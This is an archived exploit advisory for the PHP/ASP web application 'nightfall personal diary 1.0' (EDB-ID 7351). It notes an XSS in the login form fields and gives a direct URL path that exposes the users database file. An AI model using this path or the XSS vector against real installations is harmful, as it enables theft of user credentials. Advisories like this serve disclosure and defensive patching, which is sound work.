Exploit nightfall personal diary 1.0 - Cross-Site Scripting / File Disclosure

[Exploiter]

EDB-ID

7351

Проверка EDB

1. Пройдено

Автор

ALPHANIX

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-5592 cve-2008-5591

Дата публикации

2008-12-05

###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################


---------------------------- Tunisian Muslim ------------------------------

#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org

#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : NightFall
#download : http://iwrite.brinkster.net/nightfall.zip



#Exploits :

--=[XSS]=--
in the login page /login.asp write in the login fields your evil codes


--=[Database Disclosure]=--
http://target.com/db/users-zza21.mdb



#special thanks for syst3m and crimeirc staff

###########################################################################

# milw0rm.com [2008-12-05]